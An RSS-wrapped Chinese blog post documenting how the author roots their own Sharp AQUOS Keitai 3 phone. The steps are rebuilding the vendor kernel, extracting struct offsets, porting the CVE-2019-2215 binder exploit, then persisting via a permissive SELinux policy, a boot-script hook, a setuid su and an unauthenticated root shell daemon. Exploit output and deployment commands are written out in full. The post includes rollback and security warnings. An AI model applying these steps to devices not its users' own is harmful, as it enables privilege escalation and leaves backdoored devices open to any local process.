<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[SHARP NP805SH ROOT 笔记]]></title><description><![CDATA[<p dir="auto"><strong>设备</strong>：SHARP SG805SH/NP805SH/AQUOS ケータイ3<br />
<strong>平台</strong>：Qualcomm MSM8909 ｜ Android 8.1.0 ｜ Linux 3.18.71-perf<br />
<strong>结果</strong>：重启自动生效的完整 capabilities root，无需再运行 exploit。<br />
<strong>用厂商公开的内核源码逐字节复现编译 → 从带 DWARF 的 vmlinux 导出结构体偏移 → 移植 CVE-2019-2215 拿临时 root → （SELinux 策略 + <a href="http://install-recovery.sh" rel="nofollow ugc">install-recovery.sh</a> 钩子 + rootd 守护进程）永久化。</strong></p>
<h2>1. 资源</h2>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>资源</th>
<th>地址</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sharp OSS 页面</td>
<td><code>https://k-tai.sharp.co.jp/support/developers/oss/aquos-keitai3/index.html</code></td>
<td>必须用**商品名「AQUOS ケータイ3」**检索，型番 <code>SG805SH</code> 搜不到</td>
</tr>
<tr>
<td>内核源码</td>
<td><code>http://ad-dl02.4sh.jp/developers/oss/aquos-keitai3/index_v2/download/AQUOS_keitai3_S0018.tar.gz</code></td>
<td>171,646,693 字节，md5 <code>d0a7aa6d16cf9441731f61697660f88d</code></td>
</tr>
<tr>
<td>ARM 工具链</td>
<td>AOSP prebuilts <code>arm-eabi-4.8</code>（<code>android-8.1.0_r1</code> 分支）</td>
<td>与设备编译器版本一致</td>
</tr>
<tr>
<td>CVE-2019-2215 报告</td>
<td>Project Zero issue 1942</td>
<td>Jann Horn &amp; Maddie Stone</td>
</tr>
<tr>
<td>ARM32 移植 ★</td>
<td><code>https://github.com/flipphoneguy/root-sonim-xp3800</code></td>
<td>946 行，含 <code>docs/arm32-port.md</code>，本文 exploit 基于它</td>
</tr>
<tr>
<td>3.18 PoC 参考</td>
<td><code>CrackerCat/cve2019-2215-3.18</code>、<code>Karma2424/cve2019-2215-3.18</code></td>
<td>3.18 分支专用</td>
</tr>
<tr>
<td>基础 PoC</td>
<td><code>timwr/CVE-2019-2215</code></td>
<td>流传最广的版本</td>
</tr>
</tbody>
</table>
<h2>2. 复现官方内核</h2>
<p dir="auto">没有正确的内核符号地址无从定位 exploit ，<code>selinux_enforcing</code> 与 <code>cred</code> 偏移。MSM8909 已 EOL，但 Sharp 公开了源码。</p>
<h3>2.1 环境</h3>
<ul>
<li>WSL2 / Ubuntu 22.04（<code>.wslconfig</code> 设 <code>networkingMode=mirrored</code>）</li>
<li><code>arm-eabi-4.8</code>（AOSP prebuilts）、<code>pahole</code>、<code>secilc</code></li>
</ul>
<h3>2.2 配置与编译</h3>
<p dir="auto">设备原厂内核配置位于 <code>/proc/config.gz</code>（4375 行，世界可读），直接套用：</p>
<pre><code class="language-bash">tar xzf AQUOS_keitai3_S0018.tar.gz \
    "AQUOS_keitai3_S0018/LINUX/android/kernel/msm-3.18"
cp device.config ./msm-3.18/.config
make ARCH=arm CROSS_COMPILE=$TC olddefconfig
</code></pre>
<p dir="auto">配置：</p>
<pre><code>CONFIG_RANDOMIZE_BASE        ❌  → 无 KASLR，内核地址固定
CONFIG_SLAB_FREELIST_RANDOM  ❌  → 堆风水可控
CONFIG_DEBUG_INFO            ✅  → vmlinux 自带 DWARF
CONFIG_KALLSYMS_ALL          ✅
</code></pre>
<p dir="auto">编译命令：</p>
<pre><code class="language-bash">export KBUILD_BUILD_USER=sharp
export KBUILD_BUILD_HOST=TG840314
export KBUILD_BUILD_VERSION=1
export KBUILD_BUILD_TIMESTAMP="Thu Oct 24 03:44:25 JST 2019"   # ★ 必须逐字一致
HCF="-Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer -std=gnu89 -fcommon"
make ARCH=arm CROSS_COMPILE=$TC CC=${TC}gcc HOSTCFLAGS="$HCF" -j20 vmlinux
</code></pre>
<p dir="auto"><strong>四个编译问题</strong>：</p>
<ol>
<li><code>scripts/gcc-wrapper.py</code> 是 Python2 → 命令行覆盖 <code>CC=${TC}gcc</code></li>
<li>dtc 报 <code>yylloc</code> 多重定义（GCC10+ 默认 <code>-fno-common</code>）→ <code>HOSTCFLAGS</code> 补 <code>-fcommon</code></li>
<li><code>msm_sensor.h</code> 找不到头文件 → <code>sensor/io/Makefile</code> 补 <code>-I</code></li>
<li><code>f_midi.c</code> 找不到 <code>u_f.h</code> → <code>drivers/usb/gadget/Makefile</code> 补 <code>-I</code></li>
</ol>
<blockquote>
<p dir="auto"><strong>关键</strong>：<code>KBUILD_BUILD_TIMESTAMP</code> 必须与设备构建时间逐字一致。版本串长度哪怕差一个字符，<code>.data</code> 段整体偏移，符号地址全废。</p>
</blockquote>
<h3>2.3 一致性验证（决定性一步）</h3>
<pre><code class="language-bash">strings vmlinux | grep -m1 'Linux version'
# 期望：
# Linux version 3.18.71-perf (sharp@TG840314) (gcc version 4.8 (GCC) )
#   #1 SMP PREEMPT Thu Oct 24 03:44:25 JST 2019
</code></pre>
<p dir="auto">版本串逐字节一致还不够。设备 <code>/proc/kallsyms</code> 有 131,900 条符号，本地 <code>System.map</code> 有 128,305 条，最长连续匹配块达到 <strong>26,055 个符号</strong>。拿到 root 后用真机地址最终核对：</p>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>符号</th>
<th>本地 System.map</th>
<th>设备运行值</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>commit_creds</code></td>
<td>c0138e84</td>
<td>c0138e84</td>
<td><img src="https://blog.clouldon.com/assets/plugins/nodebb-plugin-emoji/emoji/android/2705.png?v=9f1a9fe03c8" class="not-responsive emoji emoji-android emoji--white_check_mark" style="height:23px;width:auto;vertical-align:middle" title="✅" alt="✅" /></td>
</tr>
<tr>
<td><code>selinux_enforcing</code></td>
<td>c146ef24</td>
<td>c146ef24</td>
<td><img src="https://blog.clouldon.com/assets/plugins/nodebb-plugin-emoji/emoji/android/2705.png?v=9f1a9fe03c8" class="not-responsive emoji emoji-android emoji--white_check_mark" style="height:23px;width:auto;vertical-align:middle" title="✅" alt="✅" /></td>
</tr>
<tr>
<td><code>init_cred</code></td>
<td>c13171d0</td>
<td>c13171d0</td>
<td><img src="https://blog.clouldon.com/assets/plugins/nodebb-plugin-emoji/emoji/android/2705.png?v=9f1a9fe03c8" class="not-responsive emoji emoji-android emoji--white_check_mark" style="height:23px;width:auto;vertical-align:middle" title="✅" alt="✅" /></td>
</tr>
<tr>
<td><code>sys_call_table</code></td>
<td>c0106b84</td>
<td>c0106b84</td>
<td><img src="https://blog.clouldon.com/assets/plugins/nodebb-plugin-emoji/emoji/android/2705.png?v=9f1a9fe03c8" class="not-responsive emoji emoji-android emoji--white_check_mark" style="height:23px;width:auto;vertical-align:middle" title="✅" alt="✅" /></td>
</tr>
</tbody>
</table>
<h2>3. 导出结构体偏移</h2>
<p dir="auto"><code>CONFIG_DEBUG_INFO=y</code> 的 vmlinux 自带完整 DWARF，直接用 <code>pahole</code> 读：</p>
<pre><code class="language-bash">pahole -C binder_thread vmlinux
pahole -C task_struct  vmlinux
pahole -C thread_info  vmlinux
pahole -C cred         vmlinux
</code></pre>
<p dir="auto">实测结果：</p>
<pre><code>struct binder_thread           size 0x134 (308)   → 落在 kmalloc-512
    wait_queue_head_t wait     0x50
    struct task_struct *task   0x130              ← UAF 后残留，可泄露
struct task_struct
    void *stack                0x004
    const struct cred *cred    0x3AC              ← ★ 需要替换
struct thread_info
    addr_limit                 0x008
struct cred
    uid 0x004, securebits 0x024,
    cap_inheritable 0x028, cap_permitted 0x030,
    cap_effective 0x038, cap_bset 0x040, cap_ambient 0x048
</code></pre>
<h2>4. 移植 CVE-2019-2215</h2>
<h3>4.1</h3>
<p dir="auto">CVE-2019-2215 是 binder 驱动的 use-after-free。MSM8909 EOL 后厂商<strong>没有把 binder 修复 backport 到 3.18 的 MSM8909 分支</strong>。审计 <code>drivers/staging/android/binder.c</code> 确认：</p>
<pre><code class="language-c">poll_wait(filp, &amp;thread-&gt;wait, wait);      // 脆弱写法依然存在
// binder_thread_release() 里缺少：
//   wake_up_poll(&amp;thread-&gt;wait, POLLHUP | POLLFREE);
</code></pre>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>检查项</th>
<th>结果</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>POLLFREE</code> 出现次数</td>
<td><strong>0</strong></td>
</tr>
<tr>
<td><code>EPOLLFREE</code> 出现次数</td>
<td><strong>0</strong></td>
</tr>
<tr>
<td><code>/dev/binder</code> 权限</td>
<td><code>crw-rw-rw-</code>（任意进程可打开）</td>
</tr>
</tbody>
</table>
<p dir="auto">对照：较新机型（如 SH-03M）的源码里 <code>POLLFREE</code> 存在，走不通。</p>
<h3>4.2 只改 2 个常量</h3>
<p dir="auto">基于 <code>flipphoneguy/root-sonim-xp3800</code> 的 ARM32 移植版，仅需改两处：</p>
<pre><code class="language-c">#define SELINUX_ENFORCING          0xc146ef24ul   /* 原值 0xc1310ae8 */
#define OFFSET__task_struct__cred  0x3AC          /* 原值 0x39C */
</code></pre>
<p dir="auto">其余偏移与本机完全一致：</p>
<pre><code>BINDER_THREAD_SZ   0x134
WAITQUEUE_OFFSET   0x50
IOVEC_ARRAY_SZ     38        (0x134 / 8)
IOVEC_INDX_FOR_WQ  10        (0x50 / 8，ARM32 下正好对齐)
</code></pre>
<h3>4.3 编译</h3>
<pre><code class="language-bash">arm-linux-gnueabi-gcc -static -O2 -w -o exploit_arm exploit.c
# 产物：673,424 字节，ELF32 ARM，静态链接
</code></pre>
<p dir="auto">ARM32 对齐、管道时序、两阶段泄露的细节见仓库 <code>docs/arm32-port.md</code>，不再展开。</p>
<h2>5. 获取临时 Root</h2>
<pre><code class="language-bash">adb push exploit_arm /data/local/tmp/
adb shell chmod 755 /data/local/tmp/exploit_arm
adb shell /data/local/tmp/exploit_arm id
</code></pre>
<p dir="auto">预期输出：</p>
<pre><code>[*] CVE-2019-2215 exploit for SHARP AQUOS Keitai 3 (SG805SH/NP805SH)
[*] start uid=2000 euid=2000
[+] ===== ROOT ===== uid=0 euid=0 gid=0
uid=0(root) gid=0(root) groups=0(root)
getenforce → Permissive
</code></pre>
<blockquote>
<p dir="auto"><img src="https://blog.clouldon.com/assets/plugins/nodebb-plugin-emoji/emoji/android/26a0.png?v=9f1a9fe03c8" class="not-responsive emoji emoji-android emoji--warning" style="height:23px;width:auto;vertical-align:middle" title="⚠" alt="⚠" />️ <strong>exploit 存在竞态，约 1/5 概率导致内核 panic 重启</strong>（只会重启，不会变砖）。多试几次即可。<br />
临时 root 只在本次进程树内有效，重启就没了——真正的工作在永久化。</p>
</blockquote>
<h2>6. 永久化：三件套</h2>
<h3>6.0</h3>
<p dir="auto">Android 权限是三层叠加，缺任何一层都拿不到「完整 root」：</p>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>层</th>
<th>障碍</th>
<th>现象</th>
<th>解法</th>
</tr>
</thead>
<tbody>
<tr>
<td>SELinux（domain）</td>
<td><code>shell</code> 域没有 <code>capability setuid</code></td>
<td><code>avc: denied { setuid }</code>，想写 <code>enforce</code> 又被拒（鸡生蛋）</td>
<td><strong>改策略</strong>，把 <code>shell</code> / <code>install_recovery</code> 域设为 permissive</td>
</tr>
<tr>
<td>capability（bounding set）</td>
<td><code>adbd</code> 的 bounding set 只有 <code>0xc0</code></td>
<td>setuid 二进制<strong>无论如何突破不了</strong></td>
<td><strong>让 init 启动守护进程</strong>，继承完整的 <code>0x3fffffffff</code></td>
</tr>
<tr>
<td>DAC（uid）</td>
<td>需要 root uid</td>
<td>—</td>
<td>前两者解决后自然获得</td>
</tr>
</tbody>
</table>
<p dir="auto">实测证据：</p>
<pre><code>adbd(shell):  CapBnd = 00000000000000c0     ← 只有 setgid / setuid
init(pid 1):  CapBnd = 0000003fffffffff     ← 完整 38 个能力
</code></pre>
<p dir="auto">这解释了为什么单纯做一个 setuid <code>su</code> 不行——uid 变成 0 但能力位不够，<code>mount</code>、读 <code>/data/data</code> 等依旧失败。</p>
<h3>6.1 A：SELinux 策略改造</h3>
<p dir="auto"><strong>可行性前提</strong>：<code>/system</code> 无 dm-verity、无 AVB；init 优先加载预编译策略；plat 与 vendor 侧的 <code>.sha256</code> 内容相同（都指向未修改的 CIL），init 判定「预编译策略有效」直接加载 <code>/vendor</code> 里替换的那份。</p>
<pre><code class="language-bash"># 1) 用临时 root 拉取原始策略集合
adb shell "/data/local/tmp/exploit_arm sh -c \
    'cp -r /system/etc/selinux /data/local/tmp/selinux; chmod -R 777 /data/local/tmp/selinux'"
adb pull /data/local/tmp/selinux ./selinux
adb pull /vendor/etc/selinux/precompiled_sepolicy ./precompiled_orig.bin
# 2) 在 plat_sepolicy.cil 末尾追加两行
cat &gt;&gt; selinux/plat_sepolicy.cil &lt;&lt;'EOF'
(typepermissive shell)
(typepermissive install_recovery)
EOF
# 3) 编译（★ 策略版本必须 30，对应 3.18 的 POLICYDB_VERSION_MAX）
secilc -c 30 -o final_policy.bin \
    selinux/plat_sepolicy.cil \
    selinux/mapping/27.0.cil \
    selinux/nonplat_sepolicy.cil
# 产物：435,814 字节
</code></pre>
<blockquote>
<p dir="auto"><strong>风险控制</strong>：一定要先在 PC 侧用 <code>secilc</code> 完整编译验证通过再推到设备。策略语法错误可能导致无法开机。</p>
</blockquote>
<h3>6.2 B：开机钩子 <a href="http://install-recovery.sh" rel="nofollow ugc">install-recovery.sh</a></h3>
<p dir="auto"><code>/init.rc</code> 里有一个 oneshot 服务，以 <strong>init 身份</strong>执行脚本（<strong>没有 seclabel，不做域转换</strong>）：</p>
<pre><code>service flash_recovery /system/bin/install-recovery.sh
    class main
    oneshot
</code></pre>
<p dir="auto">脚本末尾追加，即可拿到<strong>完整 bounding set</strong>，顺便设 permissive：</p>
<pre><code class="language-sh"># --- 永久 root：设 permissive + 启动 root shell 守护进程 ---
echo 0 &gt; /sys/fs/selinux/enforce
/system/bin/setsid /system/xbin/rootd 2323 &lt;/dev/null &gt;/dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p dir="auto">保留原逻辑只追加这段；权限 750，标签 <code>u:object_r:install_recovery_exec:s0</code>。</p>
<h3>6.3 C：root 守护进程 rootd</h3>
<p dir="auto">极简静态 C 程序（591,088 字节），监听 <code>127.0.0.1:&lt;port&gt;</code>，每个连接 fork 一个 shell：</p>
<pre><code class="language-c">bind(... INADDR_LOOPBACK ...);
accept → fork → dup2 → execl("/system/bin/sh", "sh", "-i", NULL);
</code></pre>
<p dir="auto">被 <strong>init 启动</strong>所以继承完整 capabilities——这是「完整 root」的关键。</p>
<pre><code class="language-bash">arm-linux-gnueabi-gcc -static -O2 -w -o rootd rootd.c
</code></pre>
<h2>7. 部署与验证</h2>
<h3>7.1 部署顺序（全部通过临时 root 执行）</h3>
<pre><code class="language-bash"># 0) 推入产物
adb push final_policy.bin    /data/local/tmp/final.policy
adb push rootd               /data/local/tmp/rootd
adb push su_arm              /data/local/tmp/su_arm
# 1) 替换 SELinux 策略（先备份原始策略）
adb shell "/data/local/tmp/exploit_arm sh -c '\
    cp /vendor/etc/selinux/precompiled_sepolicy /data/local/tmp/precompiled_sepolicy.orig; \
    mount -o remount,rw /vendor; \
    cp /data/local/tmp/final.policy /vendor/etc/selinux/precompiled_sepolicy; \
    chown 0:0 /vendor/etc/selinux/precompiled_sepolicy; \
    chmod 644 /vendor/etc/selinux/precompiled_sepolicy; \
    chcon u:object_r:vendor_file:s0 /vendor/etc/selinux/precompiled_sepolicy; \
    sync; mount -o remount,ro /vendor'"
# 2) 修改开机钩子（先备份原文件，再追加 6.2 那段）
adb shell "/data/local/tmp/exploit_arm sh -c '\
    mount -o remount,rw /system; \
    cp /system/bin/install-recovery.sh /data/local/tmp/install-recovery.sh.orig; \
    printf \"\n# --- permanent root ---\necho 0 &gt; /sys/fs/selinux/enforce\n/system/bin/setsid /system/xbin/rootd 2323 &lt;/dev/null &gt;/dev/null 2&gt;&amp;1 &amp;\n\" &gt;&gt; /system/bin/install-recovery.sh; \
    chown 0:0 /system/bin/install-recovery.sh; chmod 750 /system/bin/install-recovery.sh; \
    chcon u:object_r:install_recovery_exec:s0 /system/bin/install-recovery.sh; \
    sync; mount -o remount,ro /system'"
# 3) 部署 rootd 与备用 su
adb shell "/data/local/tmp/exploit_arm sh -c '\
    mount -o remount,rw /system; \
    cp /data/local/tmp/rootd /system/xbin/rootd; \
    cp /data/local/tmp/su_arm /system/xbin/su; \
    chown 0:0 /system/xbin/rootd /system/xbin/su; \
    chmod 755 /system/xbin/rootd; chmod 4755 /system/xbin/su; \
    chcon u:object_r:system_file:s0 /system/xbin/rootd /system/xbin/su; \
    sync; mount -o remount,ro /system'"
# 4) 重启（此后不再需要 exploit）
adb reboot
</code></pre>
<h3>7.2 验证</h3>
<pre><code class="language-bash">adb forward tcp:2323 tcp:2323
# 连接 127.0.0.1:2323，即得 root shell
</code></pre>
<p dir="auto">期望：</p>
<pre><code>uid=0(root) gid=0(root) groups=0(root)  context=u:r:install_recovery:s0
CapEff: 0000003fffffffff      ← 完整能力
CapBnd: 0000003fffffffff      ← 完整 bounding set
mount -o remount,rw /system            → OK
ls /data/data/com.android.settings     → OK
cat /proc/kallsyms | grep commit_creds → c0138e84 T commit_creds
</code></pre>
<h2>8. Root 之后怎么用</h2>
<pre><code class="language-bash">adb forward tcp:2323 tcp:2323
</code></pre>
<p dir="auto">PowerShell 一行示例：</p>
<pre><code class="language-powershell">$c = New-Object Net.Sockets.TcpClient('127.0.0.1', 2323)
$s = $c.GetStream()
$w = New-Object IO.StreamWriter($s); $w.AutoFlush = $true
$w.WriteLine("id")
Start-Sleep 2
(New-Object IO.StreamReader($s)).ReadToEnd()
</code></pre>
<p dir="auto">两条备用通道：<strong>setuid su</strong>（uid=0，能力受限）<code>adb shell /system/xbin/su id</code>；<strong>exploit</strong>（完整 root，约 1/5 概率 panic）<code>adb shell /data/local/tmp/exploit_arm id</code>。</p>
<h2>9. 设备上的文件清单</h2>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>路径</th>
<th>内容</th>
<th>大小 / 权限</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/vendor/etc/selinux/precompiled_sepolicy</code></td>
<td>重编译 permissive 策略</td>
<td>435,814 字节</td>
</tr>
<tr>
<td><code>/system/bin/install-recovery.sh</code></td>
<td>开机钩子（原逻辑 + 三行追加）</td>
<td>750</td>
</tr>
<tr>
<td><code>/system/xbin/rootd</code></td>
<td>root shell 守护进程</td>
<td>591,088 字节</td>
</tr>
<tr>
<td><code>/system/xbin/su</code></td>
<td>setuid root（备用）</td>
<td>590,704 字节（4755）</td>
</tr>
<tr>
<td><code>/data/local/tmp/exploit_arm</code></td>
<td>CVE-2019-2215 exploit（备用）</td>
<td>673,424 字节</td>
</tr>
</tbody>
</table>
<p dir="auto">回滚备份：<code>/data/local/tmp/precompiled_sepolicy.orig</code>、<code>/data/local/tmp/install-recovery.sh.orig</code>。</p>
<h2>10. 回滚</h2>
<p dir="auto">通过 root shell 执行：</p>
<pre><code class="language-bash">mount -o remount,rw /vendor
cp /data/local/tmp/precompiled_sepolicy.orig /vendor/etc/selinux/precompiled_sepolicy
mount -o remount,ro /vendor
mount -o remount,rw /system
cp /data/local/tmp/install-recovery.sh.orig /system/bin/install-recovery.sh
rm -f /system/xbin/rootd /system/xbin/su
chmod 750 /system/bin/install-recovery.sh
mount -o remount,ro /system
</code></pre>
<h2>11. 安全提醒</h2>
<p dir="auto">Root 之后设备安全性明显下降：SELinux 全局 Permissive；<code>shell</code> / <code>install_recovery</code> 域在策略层面被设为 permissive；<code>/system/xbin/su</code> 是 setuid-root，任何能执行它的进程都能拿到 uid 0；<code>rootd</code> 在 <code>127.0.0.1:2323</code> 提供<strong>无认证 root shell</strong>；<code>/vendor</code> 与 <code>/system</code> 已被修改。<strong>请只在自己的设备上操作</strong>，需要恢复请见第 10 节。</p>
<h2>12. 复盘：为什么这台机器能成</h2>
<ol>
<li><strong>「设备真名」决定检索成败</strong>——型番 <code>SG805SH</code> 一无所获，商品名「AQUOS ケータイ3」就能找到官方内核源码；</li>
<li><strong>EOL 芯片的补丁缺口</strong>——MSM8909 停更，厂商没有 backport binder 补丁，CVE-2019-2215 可用；</li>
<li><strong>Android 权限是三层叠加</strong>——DAC / capability bounding set / SELinux，任缺一层都拿不到「完整 root」；本文分别用 setuid、init 启动、策略修改把三层补齐；</li>
<li><strong>精确复现内核是前提</strong>——和真机逐字节对齐的符号地址，exploit 才不需要盲猜；</li>
<li><strong><code>CONFIG_DEBUG_INFO=y</code> 的 vmlinux 是宝库</strong>——<code>pahole</code> 直接读出所有结构体偏移。</li>
</ol>
<p dir="auto"><em>本文为安全研究与设备修复目的撰写，所有操作均在自己的设备上进行。</em></p>
]]></description><link>https://blog.clouldon.com/topic/33/sharp-np805sh-root-笔记</link><generator>RSS for Node</generator><lastBuildDate>Tue, 03 Nov 2026 17:14:11 GMT</lastBuildDate><atom:link href="https://blog.clouldon.com/topic/33.rss" rel="self" type="application/rss+xml"/><pubDate>Mon, 19 Oct 2026 03:20:53 GMT</pubDate><ttl>60</ttl></channel></rss>